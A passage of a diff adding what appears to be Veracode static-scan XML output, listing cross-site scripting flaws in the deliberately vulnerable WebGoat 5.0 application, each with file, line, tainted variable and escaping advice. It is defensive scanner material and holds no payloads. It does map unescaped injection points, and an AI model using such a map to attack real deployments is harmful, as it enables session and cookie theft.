+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
